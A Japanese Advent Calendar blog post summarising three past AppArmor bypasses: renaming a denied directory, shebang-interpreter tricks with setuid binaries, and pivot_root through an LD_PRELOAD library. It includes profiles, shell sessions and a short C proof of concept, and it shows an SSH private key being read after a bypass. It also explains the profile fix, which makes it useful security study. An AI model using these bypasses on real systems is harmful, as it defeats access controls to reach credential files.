この記事はGMOペパボ Advent Calendar 2018の22日目の記事です(大遅刻)。
本当は今半期やってきた総括として、コンテナランタイムのセキュリティについて一からまとめたかったのですが、Linux Namespace の実装を読み始めたら迷子になってしまったので間に合いませんでした。

なので、今回は過去に見つかった AppArmor のバイパス方法を簡単にまとめようと思います。
2018/12/24 現在、最新版で修正されているものもあるし、されていないものもあります。
ここでは、以下の3つのバイパス方法を記します。

  1. 親ディレクトリを rename するバイパス
  2. shebang を利用したバイパス
  3. pivot_root を利用したバイパス

ちなみに、それぞれのバグ報告の Issue リンクは記していますが、どのバージョンやコミットで修正されているかまでは記していません。面倒だったので。


1. 親ディレクトリを rename する

~/bin/bash に対して .ssh/ 配下のファイルにアクセスを禁止する次のような profile を適用する。

#include <tunables/global>

/home/vagrant/bin/bash {
  #include <abstractions/base>
  file,

  deny /home/vagrant/.ssh/** mrwklx,
}
vagrant@ubuntu-bionic:~$ ./bin/bash
vagrant@ubuntu-bionic:~$ cat .ssh/id_rsa
cat: .ssh/id_rsa: Permission denied

このように AppArmor によってアクセス制御がされる。
しかし、ディレクトリを rename だけでアクセス制御を Bypass できる。

vagrant@ubuntu-bionic:~$ ./bin/bash
vagrant@ubuntu-bionic:~$ mv .ssh .sshx
vagrant@ubuntu-bionic:~$ cat .sshx/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAv3xYYYWvDEFCpWXIMIho4cnzjzBiy5etgoH7yQTgfGnATsaq
Gzr87Qf7saoIauqC4RJPf4nHMudmh38mHudXwPU9mWpAFe4ebhXxtgofxHNEEVhu
...

実際のアプリケーションでは AppArmor によって deny /path/to/** されているディレクトリ名を __attribute__((constructor)) で rename する共有ライブラリを作成し、LD_PRELOAD で読み込むといった攻撃になるだろう。

この手法から防ぐには profile を次のように変更する。

deny /home/vagrant/.ssh/{,**} mrwklx,

これは直感的でなく、多くのユーザーがハマってしまうことは目に見える。
実際にいくつかのプロファイルが /path/to/** という記法で書いており、修正がなされた。

2. shebang を利用する

setuid されたバイナリをインタプリタとして使用するスクリプトを作成することで profile が適用されないバグ。

通常は bin.ping の profile が適用されている。

$ ping 127.0.0.1
$ ps auxZ | grep ping
/{usr/,}bin/ping (enforce)      vagrant   4416  0.0  0.0  16848  1100 pts/1    S+   11:44   0:00 /bin/ping 127.0.0.1

しかし次のように shebang に /bin/ping を指定してインタプリタとして利用するファイルを作成することで profile が適用されなくなる。

$ echo '#!/bin/ping' > 127.0.0.1
$ chmod +x 127.0.0.1
#include <err.h>
#include <unistd.h>
int main(int argc, char **argv) {
  execv(argv[1], argv+2);
  err(1, "execv");
}
$ gcc poc.c -o poc
$ ./poc 127.0.0.1
$ ps auxZ | grep ping
unconfined    vagrant   4431  0.0  0.0  16848  1224 pts/1    S+   11:47   0:00 /bin/ping 127.0.0.1

最小の再現は次のような感じか。

#include <tunables/global>

/home/vagrant/bin/bash {
  #include <abstractions/base>
  file,
  deny /usr/bin/perl mrwlx,
}
$ ./bin/bash
$ cat test.pl
#!/usr/bin/perl

print("Hello\n")
$ chmod +x ./test.pl
$ perl ./test.pl
bash: ./test.pl: Permission denied
$ ./test.pl
Hello

3. pivot_root

snap はかなりしっかり AppArmor Profile を書いているが、 __attribute__((constructor)) 内で pivot_root で読みたいファイルをホワイトリストされたディレクトリにマウントする処理を書いた共有ライブラリを作成し、LD_PRELOAD と共に snap を実行することで AppArmor の制限を回避するテクニック。